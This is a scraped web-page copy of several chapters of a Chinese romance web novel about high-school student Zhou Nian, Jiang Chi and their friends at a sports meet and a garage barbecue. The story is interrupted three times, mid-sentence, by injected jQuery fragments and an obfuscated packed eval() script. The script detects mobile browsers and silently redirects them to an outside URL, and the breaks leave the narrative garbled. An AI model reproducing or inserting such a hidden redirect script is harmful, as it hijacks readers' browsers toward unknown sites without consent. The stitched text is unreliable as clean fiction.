$(''.inform'').remove(); $(''#content'').append('' 没发动扣响后座玻璃。 车窗摇下。 江池:“为什么坐不习惯我的车?” 口吻有点无理取闹。 周念揉着指腹,不紧不慢地回道:“刚刚来的时候,我觉得你是故意的。” “……” 原来她什么都知道。 江池别过头,嘲弄地扯了扯嘴角,半晌,回过头用玩笑来舒缓气氛。“那下次要注意了,别大半夜跟男的出来玩,怪危险的。” 她顺势笑了笑:“我知道。” 江池极轻地闷笑着:“知道还出来?” 她直直地看着他,用那双分外清明的,不会撒谎的眼睛。 “你以为,我为什么会来?” * 你以为,我为什么会来? 真是句容易让人误会又叫人不自觉去深究含义的话。 江池在床上辗转了半天睡不着,一闭眼就是周念那双浅琥珀色的眸子。他强迫自己不要胡思乱想,走进厨房倒了杯凉水一饮而尽,随后走到阳台抽了根烟。 迎着夜风打了几把游戏,都以失败告终,锁屏的前一秒又鬼使神差地点进微信。 ——到家了吗? 他告诫自己,这纯粹是礼貌性地问候。 可既然是问候,怎么又莫名期待地期待上了。 另一头,周念洗完澡坐在桌前看了会儿书,有了睡意后上床。睡前瞄了眼手机,几条微信和未读短信,她草草扫了眼,只回复了叶琳的,最后手机倒扣,进入梦乡。 * 不记得是第几次打开和周念的对话框了,最后一条信息是三天前问她有没有到家,她没回应。江池在屏幕上快速打字:——在干吗。然后逐一删除。 理智告诉他周念是张宁的女儿,不管是现在还是以后,两个人都是没结果的。但跨越理智想想,她什么都不知道,为什么不可以。 “阿池,十月长假有什么想法,搞点活动呗。” 徐明拿着酒瓶坐在地上,从茶几上的外卖盒里挑了个带肉的串转头问大家意见。 “你们觉得呢,要不要出去浪浪?” “好呀,上次小鸟岛回来都没怎么好好出去玩过。” 宋佳月手持一个塑料盒,挨着江池坐下,她把盒子递上前说:“吃吃看,我做的话梅小番茄。” 她强调说:“不比日料店口味差。” 江池用手挡了下伸过来的塑料盒,对着围在茶几上的几个人说。 “去车库烧烤。” 他向来对‘去哪儿’‘吃什么’‘干什么’很少主动发表意见。徐明原本只是象征性地问问他,没想到他竟然破天荒的给出了具体建议。 “好啊,正好我现在在学烹饪,到时候我做点卤菜给你们下酒。” 说到这儿,宋佳月已经期待上了。 徐明说:“我看行,大家怎么说。” “没问题啊。” “那我负责买肉,从我姨夫那儿拿点最新鲜的牛羊肉。” “当然没问题,我去整两个烧烤架,搞点碳来。” 江池:“阿樾。” 赵樾正心不在焉地发信息,听到江池叫他,他抬头疑惑道:“怎么说?” 江池:“带上叶琳。” 赵樾收好手机,笑到:“这还用你说?” 江池:“让叶琳带上周念。” “哎呦~” 提起周念,大家不约而同地起调调,似乎江池今天一切的反常举动都解释的通了。唯独宋佳月酸溜溜地把手收了回来。 “嘶。”赵樾说:“你不是刚跟她出去看过电影吗?怎么还用叶琳约,你自己约不就行了吗?” 江池想说,她不理我,但话到嘴边就变成了:“让你约就约,哪儿那么多废话。” 18. 第 18 章 九月末开运动会是‘国际惯例’,一中也不例外。周念作为学生会代表要上台说两句,她拿着演讲稿按部就班的说了几句后退场。之后是各个领导讲话,等校长宣布运动会正式开始时,小半个上午已经过去了。 理科班女生稀缺,几乎每个人都要报一两个项目才不至于让项目轮空。周念是班长,运动委员很好心的给她安排了三个项目,三个风马牛不相及的项目:一百米、铅球和跳高。他的原话是这样说的:“老大,能者多劳,你虽然看上去不像是运动健将,但是你只要拿出你读书一半的劲,我觉得还是有希望的。” “......” 周念看着墙上的赛事表格发愁。 叶琳倒挺会安慰人:“你有什么好愁的,横竖都是当分母的料,有这心思犯愁还不如想想放假去哪儿玩呢。” 这是她第一次觉得叶琳的话那么在理。 好在一切赛事还未开始前,体育老师给她了新的任务——记录跳远比赛成绩。 夏秋交接,太阳很晒,能把人晒蜕两层皮。周念把不长的头发揪成一个马尾,白色鸭舌帽穿过马尾带在头上。 上午第一场跳远比赛是高三男子跳远。 跳远组的男生各个长胳膊长腿,其中不乏肌肉健硕的体育生,周念眯眼看着,不合时宜的想着,体育委员那么草率的给自己报了跳高是不是纯粹为了应付班主任。然后给出答案,还能是为了什么。 丈量记录工作比较简单,周念低头记录数据,这时有人拍了拍她的肩膀。 “周念?” 一个男声,是她不熟悉的声音。 她抬头看了眼对方,那人很高,足足高出她一个多脑袋,他穿的不是一中的校服但却佩挂着运动员的号码牌。那么高一个人,脸型比例却很和谐,硬朗中带着点清俊。 她从他的眉眼中寻到了熟悉的痕迹,但这种熟悉的程度仅仅是‘好像在哪儿见过’。 对方看着她不知所措的模样笑了笑:“不记得了?林川啊,城南老游泳馆你忘了?” 周念回忆了半秒,豁然道:“林川,记得。” 比赛还在进行,不是叙旧的时候,下一个运动员跳完,周念又得上去工作,只能抱歉道:“不好意思啊,我现在在忙,一会儿跟你聊。” 林川笑笑:“好啊,我等你。” 一中每年运动会都会请外校体育生一起参加,主要是为了横向比较体育生的能力,林川就是一中请来的跳高运动员。 一句‘我等你’,他就真的傻乎乎地坐在边上的花坛上等,眼神都不曾从周念身上离开,周念余光瞥见这边,顿时感到一股无形的压力将她包围。 周念不可闻地叹了口气,转过身说:“林川,这里挺晒的,要不你去食堂等我,我一会儿请你吃中饭。” “可以。” 他直起身说:“能给我个电话吗?怕一会儿找不到你。” 周念:“行。” 跳远组一个上午就排了两组预赛,所以结束的特别早,收工时周念看了眼手机十一点不到。手机上有一条未读信息,是江池发来的。 ——在忙吗? 对比起之前命令式的语气,这话反倒让周念不适应了。 她瞥了眼,把手机放进了口袋。 周念刚走进食堂就看到不远处林川冲她大挥手臂。 “这边。” 周念走过去询问他吃什么,林川笑说:“都可以,按你的口味给我备一份就行。” 接着补充道:“让你破费了。” 周念略带生疏地笑了笑:“应该的。” 打完饭,两人相对而坐,静默两秒后,林川又忍不住笑。 “没想到你没怎么长高。” “......” 林川和周念是在城南游泳馆认识的,当时被省队游泳教练同时看中,那会儿两个人只有八九岁。现在周念已经快十八岁了,没长个儿肯定是假的。 见她没说话,林川连忙解释:“我的意思是你小时候游泳那么厉害,还以为你能长成一米七五以上的大高个。” 周念低头吃了口饭说:“我一米六三。” 她的本意是我也不矮,可没想到对方理解成她在赌气,于是笑的更灿烂了。 “......” 周念不想再在这个话题上浪费时间,转话题道:“我听说你很早就出国了。” 林川说:“出去过几年,不适应又回来了。” 她看了眼他的行头,猜测是一中请来的体育生,于是问:“现在还在练游泳吗?还是转项目了。” “早转了。”他说:“就学了两三年游泳,后来发现耐力跟不上于是转了跳高。” 周念若有所思地点点头:“跳高也好。” 林川笑笑,只是这次带着苦涩。 “有什么好的,跳高我个子还不够,可能还得转项目。” 这个时候转来得及吗? 这话周念只敢在心里说,她问:“你还不够高吗?看着很高。” 林川:“不高,才一米九一,职业跳高选手的身高要在一米九五以上。” 他略带遗憾地耸了耸肩。 周念见他这般情境不禁怀疑,当初张宁阻止自己游泳是对还是错,如果她真的进入省队,竭尽全力地练习游泳,却因为不可控的身高问题被迫放弃运动生涯。真的到了这种境地,自己会后悔吗? 会吧。 可能真的就像别人说的那样,无论你选择哪一条路,你都会因没有选择另一条而感到遗憾。 林川见她心不在焉,问到:“你在想什么?” 周念回过神:“没什么。” 林川:“听说你成绩非常优异,首府大学势在必得。” 周念郑重其事道:“没有的事,谁都不敢大言不惭说首府大学势在必得。” 林川:“我开玩笑的,你别生气。” 周念:“我没有生气。” “那就好。” 林川说:“我可以约你去游泳吗?像小时候那样。” 周念刚想以学业繁重为由拒绝他,他又说:“就在城南的老游泳馆,听说那儿没多久就要闭馆歇业了,想在关门之前再回味一次儿时的乐趣。” 周念斟酌了会儿,说:“好,有时间的话。” 随口一句,林川就当真了,追问道:“什么时候有时间。” “......” 周念:“等我找你。” 林川:“一言为定。” 周念:“嗯。” 熬过两天运动会,周念终于有一段长且独有的时间来复习,叶琳说烂了嘴都没能把她约出门,但她也做了妥协,说往后推两天或许有时间。她不知道因为她的一句话,车库烧烤这件事也往后推了两天。 叶琳约她出来的由头只有四个字:姐妹小聚。周念没有细问是在哪儿和谁干些什么,只当是给自己放风。所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107899|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当看到叶琳带她走的小巷有种莫名其妙的熟悉感时,她就知道事情好像没那么简单。 这条巷子,分明就是那晚江池带她来的那条。果然,如她所料,叶琳在一个车库大小的门口停了下来,她抬头看了眼卷起的银色闸门,没由来的皱了下眉。 “你带我来这儿?” 她看着叶琳,语气不重,但可以分辨出责怪的意味。 叶琳自觉理亏,说话声音低了下去:“小念,我也是没办法,赵樾非要让我约你出来。这不是怕你不愿意才撒了个小谎。” 她用手指捏成缝来形容这个小谎到底有多微不足道。 “是我让她约你来的。” 这时,江池从门的一侧走出来,周念看过去,是他一贯的穿着打扮,深色偏灰的短袖,下身一条蓝色牛仔长裤。头发像刚剪过,额前的碎发短了些,整个人看起来精神了不少。不知为何,周念总觉得他骨子里透着股少有的阴郁,或许是因为他没有睡好,也或许是他从没好好站着,整个人松松垮垮,散发着慵懒气。但这种慵懒气息又不似流窜在街头的地痞,带着轻浮和猥琐。 叶琳看看周念,再看看江池,委实觉得自己有点多余,于是猫着腰偷偷摸摸地走了进去。 两人站在原地,静默半晌,江池开口说:“这条裙子很配你。” 周念垂眸看了眼,及膝的蓝白相间吊带格子裙,怕着凉上身穿了件纯白外搭。她不知道该怎么回,眼神瞥向别处。 江池走过来,低头看她,当时的阳光很烈,她头顶的发像是镀了一层光,柔柔软软的。 “对不起。” 周念没仰头,看不到他当时的表情,只觉得他好像第一次用那么认真的口吻说话,对,是‘认真’。 她抬起头,很仔细的观察了他的表情,眉心有个褶子,嘴唇紧绷,眼睛直直地看着自己。 她问:“对不起什么?” 江池:“那晚我确实是故意的。” 他以为她会追问缘由,必然不能说是因为张宁,他思来想去找借口,但直到现在他都没想好要以什么理由来解释自己做的这件蠢事。 周念很平静地说:“我没生气。” 我没生气,也不在乎。这是她的话外音。江池怎么可能听不懂,但就是因为听懂了,原本只是心里纠结,现在心底却莫名其妙的泛起失落。 不在乎比生气更可怕。 他试图找出点她明明生气了却还犟嘴的证据,于是问:“那为什么我给你发信息,你不理我?” 周念有点懵:“你给我发信息了吗?” 她边说边拿出手机,打开微信。江池顺势往下看,这个角度看,手机页面一览无余。她把微信往下拉,在一众未读信息中找到了江池。 “不好意思,未读太多了,没看到你。” 又是闷声一拳重击,看着夹在无数个未读中的头像,江池无奈的笑笑。不对,江池总觉得哪里不对,是之前的某个瞬间,或者某个记忆,无数个点拼接成一个实事,在她心里,自己不可能只是泛泛之交中的一员。 江池又问:“那你那天的话是什么意思?” 那句:你以为,我为什么会来。 周念别过眼,没看他:“没什么意思。” 江池终于在她这个不经意的举动中找了自己‘与众不同’的蛛丝马迹。他笑笑,有点小得意:“我还没说是哪句话。” “所以你根本就是在生我的气。对吗?” 19. 第 19 章 “所以你根本就是在生我的气。对吗?” 这个时候江池已经不再执着那件蠢事的缘由和结果,他只想知道周念到底有没有生气,只有在乎,才会生气,才会斤斤计较,才会吹毛求疵。而周念的行动很好的证明了这一点,她逃避了。 周念没回答她,越过他自顾自地进门找叶琳。 门外的少年笑得跟花儿一样灿烂。 车库很小,却连着一扇门,周念打开门才发现内有乾坤。门的另一边是个足有三四百平米大小的厂房,厂房空空如也,只有角落位置放了几张沙发,茶几,和日常生活的家具电器。 这厂房原先是江父囤货用的,自他去世后江池就把东西清了拿来收租,近几年租客的生意不景气,租金一压再压。后来江池不再惯他,到期后连人带物清了出去。之后一群人就搬来沙发,桌椅,把这里当作另一个聚集地。 因为小路过来会经过车库,大家就习惯性地把这里叫成车库。 一群人扎堆在厂房角落,叶琳冲着周念招了招手:“小念,这边。” 这一嗓子把大家的目光都聚集在了周念身上,几个男生刚想起哄,就看到她身后的江池做了个抹脖子的警告动作。 烧烤图个新鲜,就没买现成的,肉串和蔬菜都得自己串,每个人很自觉地认领一样活,切菜的切菜,烧炭的烧炭。大概是嫌油腻,只剩新鲜肉类没人串。周念是后来的,跟这群人不熟,不能吃白食,于是走到那盆切好的鲜肉旁,准备动手。 “我来吧。” 江池走到她边上,用手将她整个人轻轻地往后带,说:“穿得那么漂亮,别把衣服弄脏了。” 周念把他的手往下压,向前一步说:“我可以,我会注意的。” 江池失笑,突然觉得这人还挺固执的。 这一切宋佳月都看在眼里,明明看得难受,眼睛却不自觉往那头瞟去。她看着周念安安静静地站在江池身边,不得不承认两个人莫名的登对。原本她可以理直气壮地吃周念的醋,生周念的气,但有了上次把她困在阁楼的事情之后对她更多的是愧疚。 她心情复杂地叹了口气,低头看了眼自己新做的迷你小饭团。连叹三声后她做了个决定:向周念示好。 她先给每一个人都尝了尝自己做的小饭团,轮到周念时才显得不那么刻意。分完一圈后,她神态自若走到周念身边对她说:“我自己做的,要尝一个吗?” 周念留意到她的目光是锁定在自己身上的,于是不确定道:“我吗?” “额...嗯。就是你。” “......” 宋佳月双手僵直地把盒子递上前说:“我刚学的,你要不要尝一个。” 周念有点无奈地摊开满是调料的双手说。 “但是我不方便。” 宋佳月:“我喂你?” 这句脱口而出的话,一时间让两人都僵滞在原地,就连一旁的江池都一脸匪夷所思。 宋佳月耳根一红,又把手缩了回去:“不吃就算了。” “好啊。” “.....你说什么?” 周念笑笑说:“好啊,你喂我吧。” 她这人......好像也没那么讨厌。宋佳月心下默念,在盒子里挑了个品相最好的递过去。 “吃吧。” 周念还没张嘴,那颗小饭团就被江池抢了过去,一口扔进嘴里。周念顿了顿,看向他同样沾满调料的手。 吃完,他又给周念使了个眼色:“可以了,吃吧。” 宋佳月不可置信地瞪大眼:“你什么意思?我能毒死她吗?” 说完,把剩下的饭团拍在桌上,气鼓鼓地走了。 周念抿紧唇打算开口说点什么,但看江池又静下心来工作,就没在说话。 串着串着烟瘾犯了,江池沉了口气试图转移注意力,他瞥了眼周念,她还在串,她串得很漂亮,每一串上的肉肥瘦相间大小适中,而且就如她所说她处理的很干净,很小心,周边没有凌乱的签子和肉粒,也没有溅落的蘸料和水渍。他想起那晚她抽烟的模样,她好像做任何事都是认真的,端正的。 他问:“你有强迫症吗?” 周念抬头:“嗯?” 江池冲着那一摞码地整整齐齐的肉串抬了抬下巴。 “......” 周念忖了忖说:“没有,只是习惯了而已。” 江池:“是吗。” 长时间保持相同的姿势容易肢体发酸,周念从边上捡起一根签子,不适地扭了扭脖子。江池注意到这边,把签子从她手里拔出。 “够了。” 周念望着剩下的小半盆肉说:“够了吗?这么多人?” 江池:“够了,还有别的。” 这肉不处理掉估计就浪费了,周念正犹豫,手上就有了温热的触感,江池的手比她想象的要大,手上没有粗粝的老茧,青筋纹路却很明显。那是一只很漂亮的手,无论是肤色线条和纹理,她没见过比这更好看得手。 江池单手握住她的双手说:“别弄了,去洗手吧。” 周念挣了挣,借着润滑的调料很快就从他得手中滑落,她神态自若地看他:“洗手间在哪儿?” 江池愣了秒,只说:“跟我来。” 洗手间在厂房外,要走过一条曲折的弄堂小路,江池把人引到水池前,示意她先洗。周念洗完有意等他,但江池洗完手似乎没有要走的意思。 “你先回去,我抽根烟。” “好。” 周念走了两步折返回来,江池略带不解的看她。 “怎么?” “抽烟有害健康。” “......” 她说这话的时候有点小严肃,江池忍不住笑了笑点头说。 “我知道,但是......有瘾了。” “好吧。” 这次,她真的走了。 江池原地点了根烟,抽到一半时想起刚刚周念那张严肃的脸,于是笑着摇了摇头,他长长地吐了口烟,把剩下半根掐灭扔了。 走到一半,手机一阵提示音,他边走边打开手机,信息是群里发的,只有一张照片。打开照片的一瞬,江池的脚步停了。 是一男一女相对而坐的食堂就餐照,照片本身没什么稀奇,只是那个女生是周念。在高中这种捕风捉影盛行的风气下,男女吃个饭就默认两人关系不一般。况且这张图上周念是弯着眉眼的。 图是赵樾发来的,配上调侃。 ——看看这是谁? 接着群里都炸锅了似的。 ——这男的长得不错啊。 ——那跟阿池不能比。 ——话可不能这么说,至少这人的腱子肉比阿池多。 ——块头不小,个头也高,是女人喜欢样子。 ——怎么个说法呀,学霸到底喜欢哪一款的。 群里还在接连不断的蹦消息,江池深深吸气,从烟盒里抖出一根烟,他咬着烟静默了会儿又把烟放进口袋。 他走近厂房时,有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107900|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正拿着手机上的照片调侃周念。 “周老大,这人谁啊,你俩关系看着不一般啊。” 江池原地定住,没有进门,只是远远地看着。 周念看了眼照片,回得很平静:“我朋友。” 那人继续追问:“什么朋友啊,看他身上的号码牌应该不是一中的吧。” “不是,他是外校生。” “什么外校生千里迢迢来一中吃饭啊,是学校请来的还是你请来的。” “他是学校请的体育生。” “那你跟他是哪种朋友啊,男女之间那种吗?” “不是。” “那......阿池跟他同时请你吃饭的话,你赴谁的约会?” 话音刚落,厂房内一阵哄笑声。 这话显然不是调侃那么简单,叶琳看不过这帮人为难周念,挺身而出说:“说什么呢?一男一女吃个饭怎么了?人家正经友谊,你们胡说八道些什么东西。” 周念还是那副模样,没有半分被调侃的窘迫,她斟酌了会儿,居然真的回答了。 “我没想好?” “啊?没想好?什么叫没想好。” “我没想好应该去赴谁的约。” “......” 那人原本只是想为江池抱不平,没想到周念居然真的那么认真地回答了这个问题,他哑然了好一会儿才说。 “周学霸,你这样也太不地道了,你知道三心二意怎么写吗?” 话未完,那人余光瞥见不远处的江池,他的眼神冰凉,眼眸暗沉像随时将人吞没的黑洞。那人瞬间就不说话了,他一停顿,所有人的不约而同地追随他的目光而去。 画面静止了好几秒,江池恢复如初,他说:“都弄好了吗?怎么还不开始?” 徐明是个会打圆场的,顺势说道:“这不都在等你嘛,你组织的,苦活累活都得你来,过来烤吧。” 烧烤开始,无所事事的几人开始打牌,几对小情侣趁机腻歪,剩下几个不愿同周念热络,区区一张图已经把她钉死在耻辱柱上,觉得她就是朝三暮四、不知检点的人。好在周念也不是健谈的,没人理她,她反倒轻松。 她看了眼手机,手机上是张宁发来的信息,只两字:人呢? 周念觉得有点累无心应付,刚想实话实说,张宁又发了信息。 ——你什么时候才能不让妈妈操心,你是不是答应过我这个假期要在家里温习功课,你在哪儿?是不是又跟叶琳在一起。 周念扶了扶额,叹出一口气。 ——我在竞赛班。 ——竞赛班不放假吗? ——课程紧张,临时补课。 对方没立刻回复,周念猜想她在考量她所说的每一句话,于是发过去一张坐满人的教室图。 ——下课别乱跑,早点回来。 ——好。 每次应付完张宁,周念都有种如获大赦的快感,她心情不错的笑了笑,转头去看江池。江池坐在厂房的大门边上烧烤,阳光照进一角,他就处在那个明暗交界。 此刻,江池心里乱糟糟的,他回忆起周念的话,她说她没想好应该赴谁的约。 呵。 他自嘲一笑。 想到这,他忍不住去找周念的身影,一偏头,两道目光毫无征兆的撞在一起。 就这样对视了两秒后,江池转过身又笑了,不同的是这次的笑中带着点稚气和傻气。 笑完,他恍惚听到心里有个声音:江池,你栽进去了。 20. 第 20 章 “唉。” 徐明瞧他那副样子,边摇头边拖过来一只凳子,他坐在凳子上捡了根正在烤的肉串说:“啧,这世上怎么会有那么好哄的人哦。” 江池仍笑着:“滚一边去。” “行行行,我滚。” 徐明说着把烧烤架上唯一一根香菇捡起来。 江池:“放下,那不是你的。” “......” 徐明吸了口气好平抚自己的受挫的小心灵。 “懂了。” 他乖乖把香菇放回原位,嘀嘀咕咕道:“真小气,就烤一根。” 唯一一根香菇毫无意外的落到了周念手里,江池坐在她边上略有期待地看着她吃完。 周念说:“你是不是有新疆基因啊?” 江池:“嗯?” 周念:“烤串烤得那么好吃。” “......” 一旁的徐明本是无心在听,结果她这一说,徐明直接爆笑:“哈哈哈哈哈。” 他说:“周念,我发现你这个人还蛮可爱的。” 周念只当他在夸自己,回了声:“谢谢。” 这时,有电话进来,周念以为又是张宁,她不可查地皱了下眉去找手机,好在屏幕上显示点来电是林川。江池和徐明坐在她边上自然也留意到了这个名字。 周念接起电话,对面一声不算太低沉的男音。 “周念。” 这一声,江池也能听到。 周念想去人少的地方通话,可江池的大长腿敞着,把狭窄的路堵死,她对他说:“麻烦让一下,我去接个电话。” 江池默了秒才屈膝让出条道。 她没走远停下来对着手机说。 “林川,有事吗?” 她说完第一句,就发现走出来打电话简直是多此一举。厂房那么空旷无论多远都能听到声音。 “没事,就想知道电话能不能打通。” “......” “对了,你还记得我们的约定吗?” “记得。” “今天有空吗?要不要一起去游泳馆比赛,看看那么多年你有没有长进。” “......” “今天...可能不太方便,等我有时间,我再联系你吧。” “那一言为定。” “嗯。” 徐明竖着耳朵听完,把话总结后对江池说:“一个男的今天约她出去,没成功。” 江池把玩着口袋里的打火机面无表情地说:“我没聋。” 徐明:“情敌出没,你得注意了。” 江池看着他嘴里的烤肠说:“那么多废话,吃的都堵不住你的嘴?” 说话的功夫,打电话的人不见了,徐明拿手指点了点原先周念的位置:“她人呢?去厕所了?” 江池起身,他又问:“你去哪儿啊?” 江池:“点根烟。” 周念在洗手池旁洗了把脸,初秋就是这样早中晚三个温度三个季节,早上还凉飕飕的,中午就重返炎夏。这个洗手间应该有点年头了,洗手池是陶瓷质地的,池底沉寂好几层污垢,污垢上甚至都长出了一块青苔,水龙头年久失修还在滴水,那水滴滴下来刚好溅落在青苔上。 她盯着青苔发了会儿呆,最近很多无关紧要的人和事浪费了她的时间和精力。但她不得不周旋其中,她有时会想要不算了,还自己一个清净,有时候又想,我算了,他们能算吗? 正看得出神,青苔周围忽然覆上一层阴影,她的身侧站了个人。宋佳月看她的眼神没有刚才那么友善,喜怒都挂在脸上,她说:“让一下,水池都要霸占啊。” 周念让出位置:“你洗吧。” 宋佳月搓手的力道很大,周念怀疑她这样搓五分钟肯定能搓掉一层皮。 她说:“可以了,很干净了。” 宋佳月:“你管的着吗?” 周念闭嘴,摇了摇头。 “......” “周念。” 她这句周念叫的很郑重,不像是随口叫叫,像有事要交代。果不其然,她转身面对周念说:“你可以认为我专横,霸道,自私。但我还是要说,我希望你离江池远一点。你应该看得出来我喜欢他好多年了,如果你不是认真的,或者还有别的选择,那就不要招惹他。” “你这是来跟我下战书吗?” 周念微微笑了一下:“撇开我不说,你喜欢他那么多年,那他对你呢?你怎么就不放过自己。” “你......” 宋佳月哑口无言,顺着她的逻辑发现这话居然毫无破绽。 “总之你们两个就不合适,你跟他必然会走向两条截然不同的路,以你的能力势必会飞出银城这个小地方,到时候见的多了,新鲜劲过去。回头看看发现他就是个平凡到不能再平凡的普通人。那时你会嫌弃他这不行,那不好的。这不是白白浪费你的青春吗?” 瞧她说得那么认真,周念想笑,笑她句句为自己着想,却字字替江池不平。她想说点什么,发现蜿蜒的弄堂尽头有个人影,他靠墙屈膝点了根烟,有风穿堂而过,隐约能闻到烟味。 她想那么声音呢,应该也能听得到吧。于是她慢慢开口道。 “如果我跟江池之间有点什么,那一定是他先招惹的我。” 叶琳跟赵樾腻歪了会儿,终于想起还有周念那么个人。当时周念坐在沙发一角看投屏,厂房的光线不算暗,幕布泛白,画面也不清晰,要过度用眼才能跟紧剧情。那是一本九十年代的赌神片,剧情俗套,笑点单一,还时不时爆出几个龌龊词汇。但在座的男生很好这一口,看得乐此不疲。 叶琳亲手榨了一杯果汁给周念,权当谢罪,周念喝了口,眉头拧在一起:“好酸。” 叶琳拿回来喝了口,表情如出一辙。 “我再给你去榨一杯。” 周念拦住她:“算了。” 叶琳彻底闲下来,忍不住八卦:“你跟江池是什么时候的事。” 视线从屏幕上移开,周念不明所以道:“什么什么时候的事。” 叶琳挪动屁股,紧挨着周念,她笔划了个手势,声音放了极低,几乎快被电影的配乐淹没。 “你跟江池什么时候好的。” “没有的事。” 周念强调说:“以前没有,现在没有,以后也不会有。” 种种迹象看两人关系都非同一般,叶琳疑惑道:“那你们......” 她顿了顿,那他们什么?好像又什么都没有,周念没有几乎没有私下提起过江池这个名字,也没有在纸上涂鸦过他的样子,更没有主动询问起他的过往。 喜欢是无法克制的,任何感情都会留下蛛丝马迹,一个眼神,一个微笑,不经意念叨的名字,只要拿出任何一样都能证明这种微妙情感的存在。但在周念身上,这些都无迹可寻。 这时,赵樾拿着两杯奶茶寻了过来,这是他点的,在座每个人都有。他把周念那杯放置在她面前的茶几上,叶琳的则把吸管插上才递过去。 周念看了眼奶茶没由来的冷笑一声,心说:这次倒是大方。 “赵樾。” “嗯?” 赵樾打心底里觉得周念看不上他,不愿同他相处,所以当她喊他名字时多少感到有点意外。 “怎么啦?” 周念平静地问道:“群里的照片是你发的吧。” 刚刚那人拿着手机调侃她时,她看见照片旁边的备注:阿樾,这里叫阿樾的只有赵樾一人。 赵樾没想到她还能提这茬,明知故问:“哪张啊?” 周念:“我和别人吃饭那张。” “那照片是你发的?” 叶琳闻言,立刻质问起赵樾:“赵樾,你真行啊。” “不不不,琳琳你听我解释啊,我就是发着玩玩。” 赵樾当即认错:“我就是想让阿池有点危机意识,我没想到老薛会拿照片为难她。” 他又转头跟周念道歉:“真是不好意思,周老大,我要知道是这样给我一百个胆子我也不敢发呀。” 周念又问:“照片是你拍的吗?” “当然不是。”赵樾否定的很决绝:“我天天跟琳琳在一起,拍没拍,她最清楚,不信你问她。” 叶琳接连点头:“对,我可以作证,这确实不是他拍的。” “那......” 她停顿一秒:“是谁发给你的?” 赵樾当即一怔,他在脑中反复确认是否把和姜小小的微信删了,确认到最后连自己都怀疑了,他紧张地咽了口唾沫,摸紧口袋里的手机。 “我就是想知道到底是谁那么无聊。” 她很平静,明明没有咄咄逼人的语气,却听得赵樾不寒而栗。 叶琳面子上挂不住,手一摊命令说:“手机拿出来!” “没有人发给我!我从学校贴吧上看到的。”赵樾肯定道:“我都不知道是谁拍的。” 他把手机往桌上一丢装无辜道:“不信你自己查。” 这一顿操作,叶琳反而不好去看,若是真的看了表明了自己不信任他。转而对周念说:“小念,你别生气了,他这人就这样,老做些没头没脑的事。” 周念笑笑。 “我没生气。” 电影演到高|潮部分,厂房里的笑声此起彼伏,周念看了眼叶琳,她整个人黏在赵樾身上,脑袋枕在他肩头,时不时跟他讨论剧情,偶然还会没羞没臊地轻啄一口,看到着,她不适地转过头。 又过去几分钟,在电影进入最紧张刺激的时刻,整个厂房鸦雀无声,就在这时,赵樾的手机震了震,这声音不足以影响看客心情,唯独周念看了过来。 手机一直震,应该是电话。赵樾的眼睛始终盯着大屏幕,他不动声色地按掉来电。 大约十秒的样子,电话又来了。 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115201|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 樾把怀里的叶琳扶正,说:“我出去接个电话。” 叶琳:“谁啊?” 赵樾:“我妈,估计催我回家呢。” “啊?”叶琳有点不舍:“那你要回去吗?” “当然不。”他哄道:“我去接一下,找个借口搪塞过去就好了,你等我,我马上回来。” 叶琳:“那你快去快回。” “嗯,保证。”他在她额头亲了一下,起身走到厂房。 一侧的人走开,另一侧的人也站了起来,叶琳问周念:“你去哪儿啊?” 周念:“厕所。” 压得再小的声在弄堂这片方寸之地都无所遁形。赵樾在电话这头傻乐呵,他断断续续说了些话,周念都听见了。 “你知道叶琳在还给我打电话?” “当然想你,怎么不想。” “你跟她不一样,我只图她漂亮,带得出去。” “你也漂亮,我没说你不漂亮,而且你里里外外都漂亮。” “现在?现在我走不开。” “呵,那么刺激?” “我现在真走不开,他们都在呢,过不来。” “让我再想想。” “来真的?” “行,老地方,等我。” 赵樾返回厂房,面上犯着愁,叶琳问他怎么了,他说出来的时候是找借口出来的,现在瞒不住了自己必须回去。他这一番说辞,叶琳也不好留他,只能放他走。 “我也得走了。” 周念看了眼手机对叶琳说:“时间不早了,我怕回去晚了我妈会说。” 张宁的脾气叶琳是知道的,更没有理由留周念,也只能遗憾地冲她挥挥手。 周念刚踏出厂房大门,江池就回来了,他回来时手里提了一杯暗红色的果汁。他将周念喊住:“去哪儿?” 这时,赵樾的身影已经越来越小了。 周念不想周旋只说:“回家。” 她刚起步,手腕就被人扼住。 江池:“是回家还是跟别人出去?” 周念蓦地想起刚才与林川那通电话,他应该都听到了。但现在她不想解释什么。 她说:“你应该无权干涉我去哪儿吧。” 他的手明显颤了一下,又缓缓松开。 “随你。” 电影来到尾声,大家的注意力松散起来,徐明见江池回来冲门口喊道:“你去哪儿了呀,一下午不见人。” 